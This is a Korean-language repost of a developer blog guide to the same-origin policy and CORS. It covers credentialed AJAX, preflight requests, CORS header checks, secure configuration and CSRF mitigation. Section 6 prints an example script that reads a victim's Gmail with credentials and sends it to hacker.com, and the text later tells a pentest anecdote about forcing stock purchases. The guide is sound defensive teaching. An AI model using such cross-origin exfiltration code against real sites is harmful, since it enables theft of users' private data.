https://www.devsecurely.com/blog/2024/06/cors-the-ultimate-guide?ref=dailydev
CORS: the ultimate guide | Devsecurely
A simple and concrete guide on the world of CORS. It explain what it is, how it works, and how to set it up to protect your website.
www.devsecurely.com
Devsecurely님의 24.06.03일자 포스트입니다
순진한 고양이 사진을 보여주는 웹사이트를 방문한다고 상상해 보세요. 하지만 이 귀여운 고양이 사진 뒤에는 이 웹사이트의 초능력이 숨겨져 있습니다. 누군가 이 웹사이트를 방문하는 즉시 웹사이트 소유자는 방문자의 모든 온라인 정보에 액세스할 수 있습니다. 은행 정보, 소셜 미디어 게시물 및 메시지, 이메일, 온라인 구매 내역 등에 액세스할 수 있게 됩니다. 이로 인해 평판과 재정에 미칠 수 있는 피해를 상상해 보세요. 그는 여러분의 메시지를 유출하여 은행 계좌를 고갈시킬 수 있습니다. 하지만 다행히도 이런 시나리오는 일어나지 않을 것입니다. SOP와 CORS 덕분입니다.
1. 비동기 자바스크립트 및 XML(AJAX)
조금 뒤로 돌아가서 여러분이 이미 알고 있는 기술에 대해 이야기해 보겠습니다: AJAX. AJAX는 브라우저가 백그라운드에서 요청을 수행할 수 있도록 하는 자바스크립트의 메커니즘입니다. 웹사이트의 프론트 파트에서는 일반적으로 AJAX를 사용하여 API 서버에 정보를 요청합니다. AJAX는 클라이언트 측에서 실행됩니다. 즉, 사용자가 웹사이트를 방문할 때 그의 브라우저가 AJAX 요청을 실행합니다. 이 글의 목적을 위해 인터넷에 있는 임의의 사용자 Bob의 경우를 예로 들어 보겠습니다.
웹사이트 example.com에 요청을 보낼 때 AJAX에 "자격 증명을 사용"하라고 지시할 수 있습니다. 이 경우 브라우저는 Bob이 웹사이트 example.com에 쿠키를 가지고 있는지 확인합니다. 쿠키가 있다면 브라우저는 AJAX 요청에 해당 쿠키를 함께 전송합니다. 따라서 Bob이 웹사이트 example.com에서 인증되면 해당 웹사이트는 Bob을 인식합니다. 브라우저는 Bob의 ID로 AJAX 요청을 합니다.
2. 인터넷은 왜 정글이 아닌가요?
사이버 보안에 관심이 많으시다면 이런 질문이 떠오르실 겁니다.
악성 웹사이트를 만든다면, Gmail 웹사이트에 자격 증명을 사용하여 AJAX 요청을 하고 모든 방문자의 이메일을 검색하는 데 방해가 되는 것은 무엇일까요?
이 질문을 스스로에게 던졌다면, 당신의 사악한 성향에 경의를 표합니다.
하지만 이 계획은 작동하지 않을 것이며, 그 이유는 SOP와 CORS라는 두 가지 메커니즘 덕분입니다.
SOP( same-origin policy )는 동일 출처 정책의 약자입니다.
이 메커니즘은 웹사이트 A가 다른 출처를 가진 웹사이트 B의 리소스를 읽지 못하도록 방지합니다.
SOP는 악성 웹사이트가 웹사이트와 웹사이트에 있는 사용자의 데이터에 액세스하지 못하도록 보호합니다.
CORS( Cross-Origin Resource Sharing )는 교차 출처 리소스 공유의 약자입니다.
CORS는 SOP 메커니즘에 예외를 추가할 수 있는 규칙 집합입니다. 이는 웹사이트 A가 다른 출처를 가진 웹사이트 B에서 리소스를 로드할 수 있도록 허용하는 SOP의 완화입니다.
웹사이트의 오리진은 도메인, 프로토콜 체계 및 네트워크 포트의 조합입니다. 이러한 부분 중 하나가 두 URL에 대해 다르면 브라우저는 이를 서로 다른 오리진으로 간주합니다. 웹사이트 https://www.devsecurely.com/를 예로 들어 보겠습니다. 다음 웹사이트 중 하나에 AJAX 요청을 시작하면 브라우저는 이를 교차 출처로 간주합니다:
http://www.devsecurely.com/
https://api.devsecurely.com/
https://www.gmail.com
https://www.devsecurely.com:8443/
웹사이트가 출처가 다른 URL로 HTTP 요청을 하는 경우, 이 요청은 크로스 오리진 요청으로 간주됩니다. 처리 방식은 동일 출처 요청과 다릅니다. 교차 출처 요청을 처리하는 규칙은 복잡합니다. 이 문서에서 모든 변수와 규칙을 살펴보겠습니다.
3. With credentials vs without credentials
자격 증명 사용 여부가 AJAX 요청에 미치는 영향부터 살펴보겠습니다. 이해를 돕기 위해 웹사이트 https://hacker.com가 웹사이트 https://gmail.com에 AJAX 요청을 하는 경우를 가정해 보겠습니다.
"자격 증명 사용"은 AJAX에서 활성화할 수 있는 옵션입니다. 이 옵션은 브라우저에 AJAX 요청에 Gmail에 있는 사용자의 쿠키를 포함하도록 지시합니다. 따라서 Gmail은 요청을 수행한 것이 Bob의 브라우저임을 알 수 있습니다. 응답에는 Bob의 Gmail 계정과 관련된 정보가 포함됩니다. 예를 들어 URL https://gmail.com/emails에 AJAX 요청을 하면 응답에 Bob의 이메일이 포함됩니다.
모든 웹사이트가 방문자의 이메일을 검색하기 위해 AJAX 요청을 수행할 수 있다면 인터넷은 거친 정글이 될 것입니다. 인터넷 프로토콜을 설계하는 엔지니어들은 이런 일이 일어나지 않도록 설계했습니다.
반면에 '자격 증명 사용' 옵션이 활성화되어 있지 않으면 AJAX 요청에 쿠키가 포함되지 않습니다. 밥이 다른 브라우저 탭에서 Gmail 계정에 로그인한 경우에도 Gmail 웹사이트는 밥의 브라우저를 익명의 사용자로 취급합니다. 따라서 AJAX 요청에 대한 응답에는 개인 정보가 없습니다.
4. CORS 규칙 정의
브라우저는 웹사이트 A에서 웹사이트 B로 AJAX 요청을 수행할 때 웹사이트 B의 CORS 규칙을 살펴보고 동작 방법을 파악합니다. 브라우저가 따르는 CORS 규칙을 정의하는 것은 웹 서버 B입니다. 이러한 규칙은 특정 HTTP 응답 헤더 내에 정의됩니다. 가장 중요한 헤더는 Access-Control-Allow-Origin 및 Access-Control-Allow-Credentials 헤더입니다. 이 글의 뒷부분에서 이 두 가지의 역할과 가능한 값에 대해 살펴보겠습니다.
5. 크로스 오리진 요청 처리
웹사이트가 다른 웹사이트에 AJAX 요청(교차 출처 요청)을 수행하면 브라우저는 CORS 정책을 확인하여 해당 AJAX 요청을 처리하는 방법을 확인합니다.
브라우저는 두 가지 결정을 내려야 합니다:
브라우저가 자바스크립트 코드에 정의된 대로 HTTP 요청을 수행해야 하는가?
브라우저가 요청을 수행하는 경우 자바스크립트 코드가 응답에 액세스하도록 허용해야 하나요?
이 두 단계에 대해 자세히 살펴보겠습니다.
5.1. To request or not to request?
일부 AJAX 구성의 경우 브라우저는 CORS 정책을 확인하지 않고 요청을 수행합니다. 다른 구성의 경우 브라우저는 요청을 수행할지 여부를 결정하기 전에 CORS 정책을 확인해야 합니다. 후자의 경우 브라우저는 먼저 URL에 HTTP OPTIONS 요청을 수행하여 CORS 정책을 검색합니다. 이를 프리플라이트 요청( preflight request )이라고 합니다.
브라우저에서 CORS 정책 검사를 수행하는 방법은 나중에 설명하겠습니다. 지금은 위키백과에 있는 다음 의사 결정 트리 차트를 살펴봅시다. 여기에는 브라우저가 요청을 하기 전에 CORS 정책을 확인하는 조건이 설명되어 있습니다:
다음은 브라우저가 CORS 검사를 하지 않고 요청을 하는 조건입니다:
- AJAX 요청은 사용자 정의 HTTP 헤더가 없는 GET 요청입니다.
- AJAX 요청은 표준 콘텐츠 유형이 있고 사용자 정의 HTTP 헤더가 없는 POST 요청입니다.
브라우저에서 CORS 정책을 확인하지 않고 이러한 요청을 수행하는 이유는 무엇인가요? 웹사이트가 AJAX 를 사용하지 않고도 시작할 수 있는 요청이기 때문입니다:
- "img" 또는 "iframe" 유형의 HTML 태그를 사용하여 사용자 정의 HTTP 헤더 없이 GET 요청을 트리거할 수 있습니다. "src" 속성에 대상 URL을 선언하기만 하면 됩니다. 페이지를 렌더링할 때 브라우저는 자격 증명을 사용하여 URL에 대한 가져오기 요청을 실행하여 리소스를 로드하려고 시도합니다.
- HTML "form" 태그를 사용하여 사용자 정의 HTTP 헤더 없이 표준 콘텐츠 유형으로 POST 요청을 트리거할 수 있습니다. HTML "입력" 태그를 사용하여 모든 POST 속성을 추가하고 자바스크립트를 사용하여 양식을 제출하여 요청을 시작할 수 있습니다.
다른 모든 시나리오에서는 브라우저에서 프리플라이트 요청( preflight request ) 을 시작합니다. 그런 다음 요청을 전송할지 결정하기 전에 CORS 정책을 확인합니다:
- PUT, DELETE 또는 기타 유형의 HTTP 요청
- 표준 콘텐츠 유형이 아닌 HTTP POST 요청. 예: "application/json"
- 사용자 정의 HTTP 헤더가 있는 GET 또는 POST 유형의 HTTP 요청. 예: "X-Requested-With: XMLHttpRequest"
5.2. 액세스 시킬 지, 거부할 지의 여부
브라우저가 AJAX 요청을 수행하면 자바스크립트 코드가 응답에 액세스할 수 있도록 허용할지 여부를 결정해야 합니다. 브라우저는 응답에서 CORS 정책을 검색하고 AJAX 요청이 CORS 정책을 준수하는지 확인합니다.
정책을 준수하면 자바스크립트 코드가 응답에 액세스할 수 있습니다. 그렇지 않으면 자바스크립트 코드가 응답에 액세스할 수 없으며 오류 메시지가 자바스크립트 콘솔에 표시됩니다.
다음 섹션에서는 CORS 정책 확인 프로세스에 대해 설명합니다.
5.3. CORS 정책 확인
요약하면, 브라우저는 두 가지 경우에서 CORS 정책을 확인합니다:
- 비표준 HTTP 요청을 보내기 전
- 응답에 대한 액세스를 허용할지 여부를 결정하기 전
브라우저는 다음 요소를 확인합니다:
- 브라우저는 응답 헤더 Access-Control-Allow-Origin의 값을 검색합니다. 이 값은 AJAX 요청을 시작한 웹사이트 원본과 같아야 합니다. 원본의 형식은 "schema://fqdn:port"입니다.
- 응답 헤더 Access-Control-Allow-Origin 이 없는 경우 이 검사는 실패한 것으로 간주합니다.
- 상대적으로, Access-Control-Allow-Origin 헤더에 와일드카드 값 " * "가 있으면 이 검사도 실패합니다.
- 요청이 "자격 증명을 사용하여" 이루어진 경우: 응답 헤더 Access-Control-Allow-Credentials가 존재하고 값이 "true"여야 합니다.
- AJAX 요청이 하나 이상의 사용자 지정 HTTP 헤더와 함께 시작된 경우: 브라우저는 응답 HTTP 헤더 Access-Control-Allow-Headers의 값을 검색합니다. 이 헤더의 값에는 요청에 사용된 모든 사용자 정의 HTTP 헤더가 포함되어야 합니다.
- AJAX 요청이 GET, POST 또는 HEAD 유형이 아닌 경우: 브라우저는 응답 헤더 Access-Control-Allow-Methods 값을 검색합니다. 이 값에는 AJAX 쿼리에 정의된 HTTP 요청 유형이 포함되어야 합니다.
이러한 조건 중 하나라도 실패하면 전체 CORS 정책 검사가 실패합니다:
- 브라우저가 요청을 하기 전에 CORS 검사를 수행하면 요청을 보내지 않습니다.
- 브라우저가 요청을 한 후에 CORS 검사를 수행하면 자바스크립트 코드가 응답에 액세스할 수 없습니다.
다음 그래프는 CORS 의사 결정 트리를 요약한 것입니다:
6. 잘못 설정된 CORS 정책의 위험은 무엇인가요?
브라우저 관리자는 사용자를 보호하기 위해 CORS 메커니즘을 설계했습니다. 사용자가 실수로 악성 웹사이트를 방문할 수 있습니다. 올바른 CORS 정책은 악성 웹사이트가 사용자의 신원을 사용하여 웹사이트에 HTTP 요청을 할 수 없도록 합니다.
CORS 정책은 HTTP 응답 헤더를 사용하여 정의됩니다. 따라서 충분히 엄격한 CORS 정책을 정의하는 것은 개발자의 몫입니다. 다른 출처로부터의 악의적인 요청을 방지할 수 있어야 합니다.
CORS는 세션 쿠키와 같이 쿠키를 사용하여 사용자를 인증하는 웹사이트와 특히 관련이 있습니다. '자격 증명 사용' AJAX 설정에서는 브라우저가 요청과 함께 쿠키를 자동으로 전송하기 때문입니다. 이렇게 하면 요청이 합법적인 사용자로부터 온 것처럼 보이게 됩니다.
하지만 다른 형태의 인증 방법을 사용하는 경우. 예를 들어 HTTP 헤더 '권한 부여'로 인증 토큰을 보내는 경우입니다. 그러면 CORS 정책이 덜 적절해집니다. 악성 웹사이트가 AJAX 요청을 수행하면 브라우저가 요청에 토큰을 추가하도록 만들 수 없습니다. 또한 악성 웹사이트는 정상 웹사이트의 로컬 스토리지에 액세스할 수 없습니다. 따라서 해당 토큰에 액세스할 수 없으며 AJAX 호출에 토큰을 추가할 수 없습니다. 웹사이트는 기본적으로 이 공격 시나리오로부터 보호됩니다.
쿠키를 통한 인증과 허용적인 CORS 정책을 사용하는 경우 몇 가지 나쁜 일이 발생할 수 있습니다. 사용자가 악성 웹사이트를 방문한다고 가정하면 다음과 같은 몇 가지 공격 시나리오가 발생할 수 있습니다:
- 악성 웹사이트는 AJAX 요청을 수행하여 Gmail에서 사용자의 이메일을 검색합니다. 그러면 자바스크립트 코드가 해당 이메일을 웹사이트를 설정한 해커에게 전송할 수 있습니다.
- 악성 웹사이트는 Gmail에 특정 HTTP POST 요청을 수행할 수 있습니다. 이 요청은 사용자의 설정을 변경하여 해커가 피해자 명의로 이메일을 보낼 수 있도록 합니다.
- 악성 웹사이트는 피해자의 Gmail 비밀번호를 변경하기 위해 Gmail에 특정 HTTP POST 요청을 수행할 수 있습니다.
다음 자바스크립트 코드 캡처는 공격자가 피해자의 이메일을 검색하여 자신의 서버로 다시 전송하는 방법을 보여줍니다. 공격자는 그곳에 이메일을 저장하고 나중에 참조할 수 있습니다:
var xhr = new XMLHttpRequest()
xhr.open( 'GET', 'https://gmail.com/emails')
xhr.withCredentials = true
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var xhr2 = new XMLHttpRequest()
xhr2.open( 'POST', 'https://hacker.com/save_emails')
var params = 'emails='+xhttp.responseText;
xhr2.send(params);
}
};
xhr.send();
이 시나리오는 다음과 같이 설명할 수 있습니다:
이 문서에 제공된 예는 순전히 설명용입니다. Gmail에는 이러한 공격을 방지하는 우수한 CORS 정책이 있습니다. 하지만 그 효과를 직접 확인할 수 있도록 예제 웹사이트를 만들었습니다:
7. 데모
이 공격을 설명하기 위해 간단하지만 취약한 웹사이트를 준비했습니다. 이 데모 웹사이트는 인증이 필요한 웹 애플리케이션을 시뮬레이션합니다. 먼저 다음 URL로 이동하여 버튼을 클릭하여 로그인합니다:
https://demo.devsecurely.com/demo_cors.
번역주 ) 아래 원 블로그로 가시면 테스트가 가능합니다
https://www.devsecurely.com/blog/2024/06/cors-the-ultimate-guide?ref=dailydev
완료되면 다음 버튼을 클릭하면 이전 URL로 자격 증명을 포함한 AJAX 요청이 시작됩니다:
단계를 따랐다면 이 단락 위에 공인 IP 주소가 표시되어야 합니다. "공격 시작" 버튼을 클릭하면 브라우저에서 다음 자바스크립트 코드가 실행됩니다:
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
if (this.responseText.includes("Your IP address"))
document.getElementById("demo_website_dontent").textContent=this.responseText
else
document.getElementById("demo_website_dontent").textContent="You need to be authenticated first"
}
};
xhttp.open("GET", "https://demo.devsecurely.com/demo_cors", true);
xhttp.withCredentials = true;
xhttp.send();
브라우저에서 HTTP 요청을 직접 수행할지, 아니면 사전 요청을 수행하여 CORS 정책을 확인할지 결정해야 합니다. 이 요청은 사용자 정의 HTTP 헤더가 없는 단순한 GET 요청이므로 브라우저가 직접 요청을 수행했습니다. 다음은 브라우저가 보낸 원시 HTTP 요청입니다:
취약한 웹사이트는 다음과 같은 응답을 보냈습니다:
그런 다음 브라우저는 자바스크립트 코드가 응답에 액세스할 수 있도록 허용할지 여부를 결정해야 했습니다. 따라서 CORS 정책 검사를 수행했습니다. 네 가지 조건을 모두 살펴봅시다:
- 헤더에 "https://www.devsecurely.com" 값이 있는 Access-Control-Allow-Origin 입니다.
AJAX 요청을 수행한 원본과 동일한 원본입니다. ✅ - 요청이 자격 증명을 사용하여 수행되었으며
헤더 Access-Control-Allow-Credentials 이 존재하고 값이 "true"입니다. ✅ - 이 요청은 사용자 정의 헤더를 사용하지 않습니다.
따라서 브라우저는 Access-Control-Allow-Headers 헤더를 확인하지 않습니다. ✅ - 이 요청은 GET 요청을 수행합니다.
따라서 브라우저는 헤더 Access-Control-Allow-Methods를 확인하지 않습니다. ✅
모든 CORS 검사가 성공했습니다. 따라서 브라우저는 자바스크립트가 응답에 액세스할 수 있도록 허용합니다. 이제 이 블로그는 보안이 취약한 웹사이트의 개인 데이터에 액세스할 수 있습니다.
8. 보안 CORS 정책은 어떻게 정의하나요?
CORS 정책은 특정 HTTP 응답 헤더로 정의됩니다. 각 헤더에 대해 악의적인 활동을 방지할 수 있을 만큼 엄격한 값을 설정해야 합니다. 또한 정책이 합법적인 요청을 차단하지 않는지 확인해야 합니다. 각 응답 헤더의 값을 정의해 보겠습니다:
- Access-Control-Allow-Origin: 이 헤더의 값은 웹사이트를 호출할 수 있는 원본이어야 합니다. 예를 들어 https://api.example.com에서 호스팅되는 API가 있고, 그 API를 호출하는 앞부분이 https://www.example.com에서 호스팅된다고 가정해 보겠습니다. 이 시나리오에서 헤더 Access-Control-Allow-Origin은 항상 https://www.example.com값을 가져야 합니다.
- 여러 웹사이트에서 웹사이트를 호출할 수 있어야 한다면 허용 웹사이트의 화이트리스트도 정의해 주어야 합니다. 모든 요청에 대해 요청 헤더 오리진 에 화이트리스트 원본 중 하나가 포함되어 있는지 확인하세요.
- 그렇다면 요청 헤더 Origin 의 값을 응답 헤더 Access-Control-Allow-Origin의 값으로 반환합니다.
- 그렇지 않은 경우 헤더 Access-Control-Allow-Origin에 대한 기본값을 반환합니다.
- 그렇다면 요청 헤더 Origin 의 값을 응답 헤더 Access-Control-Allow-Origin의 값으로 반환합니다.
- 웹사이트가 다른 출처에서 호출되어서는 안 되는 경우(예: 전체 웹사이트가 https://www.example.com에서 호스팅되는 경우)에는 이 헤더를 정의하지 마세요.
- 여러 웹사이트에서 웹사이트를 호출할 수 있어야 한다면 허용 웹사이트의 화이트리스트도 정의해 주어야 합니다. 모든 요청에 대해 요청 헤더 오리진 에 화이트리스트 원본 중 하나가 포함되어 있는지 확인하세요.
- Access-Control-Allow-Credentials: 웹사이트에서 쿠키를 사용하여 사용자를 인증하는 경우(예: 세션 쿠키) 이 헤더의 값을 "true"로 설정합니다.
- 다른 출처에서 웹사이트가 호출되지 않도록 되어 있다면 이 헤더를 정의하지 마세요.
- Access-Control-Allow-Headers: 요청에 사용자 지정 HTTP 헤더가 필요한 경우 이 응답 헤더에 헤더를 추가해야 합니다. 여러 HTTP 헤더가 필요한 경우 쉼표로 구분된 목록으로 추가하세요.
- 다른 출처에서 웹사이트를 호출하지 않아야 하는 경우 이 헤더를 정의하지 마세요.
- 액세스 제어 허용 방법: 웹사이트에서 PUT 또는 DELETE HTTP 메서드를 처리하는 경우 이 헤더에 쉼표로 구분된 목록으로 추가해야 합니다.
- 웹사이트가 다른 출처에서 호출되지 않아야 하는 경우 이 헤더를 정의하지 마세요.
프리플라이트 요청(OPTIONS 유형의 HTTP 요청)을 받으면 응답 헤더만 반환하고 추가 처리를 수행하지 않도록 해야 합니다.
또한 이러한 변경은 점진적으로 수행하세요. 변경할 때마다 웹사이트가 여전히 작동하는지 확인하세요. 너무 강력한 CORS를 설정하면 API/웹사이트를 호출하는 클라이언트(예: 웹사이트 전면 부분)에 문제가 발생할 수 있습니다.
9. CSRF 보호로서의 CORS 구성
앞서 살펴본 바와 같이 브라우저는 CORS 정책을 확인하지 않고 일부 요청을 수행합니다. 애플리케이션의 컨텍스트에 따라 이런 일이 발생하지 않기를 원할 수도 있습니다.
예를 들어 데이터에 대한 변경을 수행하는 GET API 컨트롤러가 있는 경우입니다. 이는 CSRF라는 공격으로 이어질 수 있습니다. 이 글에서는 이 취약점 유형에 대해 자세히 설명하지 않겠습니다. 하지만 이 문제를 보다 구체적으로 이해하기 위해 예를 들어보겠습니다.
API 엔드포인트 https://api.example.com/users/delete/[ID]가 있다고 가정해 보겠습니다. 해당 엔드포인트에 대한 GET 요청을 수행하면 [ID]를 가진 사용자가 데이터베이스에서 삭제됩니다. 악성 웹사이트가 이를 악용할 수 있습니다. 위에서 언급한 URL로 자격 증명을 사용하여 AJAX 요청을 수행할 수 있습니다. example.com의 관리자가 악성 웹사이트에 방문하면 AJAX 요청이 실행되고 사용자가 삭제됩니다.
해결 방법으로 CORS 검사를 사용하여 이러한 공격을 방지할 수 있습니다. 이렇게 하려면 요청을 수행하기 전에 전에 CORS 검사를 강제로 수행해야 합니다. GET 요청의 경우 이를 수행하는 유일한 방법은 사용자 정의 헤더를 추가하는 것입니다. 단계는 다음과 같습니다:
- 앞부분에서 해당 요청에 사용자 정의 헤더를 추가합니다(API에 대한 모든 요청에 이 헤더를 추가할 수도 있습니다). 헤더의 이름과 값은 중요하지 않습니다. 다음 헤더를 예로 들어보겠습니다: "X-Requested-With: XMLHttpRequest".
- API 부분에서 새 헤더(X-Requested-With)가 있는지 확인합니다. 그렇지 않은 경우 요청을 중단하고 오류 메시지를 반환합니다.
이제 악성 웹사이트가 앞서와 같이 사용자를 삭제하려면 사용자 지정 헤더 X-Requested-With를 AJAX 요청에 추가해야 합니다. 이렇게 하면 API 서버에 대한 프리플라이트 요청이 트리거됩니다. CORS 정책이 최적의 방식으로 정의된 경우, Access-Control-Allow-Origin 응답 헤더에 악성 웹사이트 이름이 포함되지 않습니다. 따라서 CORS 검사는 실패하고 브라우저는 요청을 수행하지 않습니다.
이 트릭을 사용하면 CSRF 공격으로부터 GET 및 POST 엔드포인트를 모두 보호할 수 있습니다.
PS: 애플리케이션에서 변경을 수행하기 위해 GET 요청을 사용해서는 안 됩니다. GET은 데이터를 검색하는 데만 사용해야 하며 데이터를 변경하는 데 사용해서는 안 됩니다.
10. 언제나 조심하세요
기본적으로 SOP 메커니즘은 교차 출처 요청을 방지합니다. 따라서 취약한 CORS 정책을 정의하여 자신의 웹사이트를 노출시키지 마세요.
애플리케이션의 민감도에 따라 CORS를 잘못 구성하면 치명적인 영향을 미칠 수 있습니다. 몇 년 전에 한 거래 플랫폼에서 펜테스트를 수행한 적이 있습니다. 이 웹사이트의 CORS 정책이 매우 관대한 것을 발견했습니다. 위험을 보여주기 위해 방문자가 특정 주식을 강제로 구매하도록 하는 악성 웹사이트를 만들었습니다. 공격자는 이를 이용해 고객이 특정 주식을 강제로 구매하도록 유도하여 주가를 상승시킬 수 있습니다. 이 문제를 제대로 악용하면 백만장자가 될 수도 있습니다.
범죄는 대가를 치르지 않는다고 말하는 사람들은 CORS를 이해하지 못합니다.
추가로 읽어보면 좋은 글
CORS에 대한 깊은 이해
Cross-Origin Resource Sharing의 의미, 목적 그리고 정확한 작동 원리
medium.com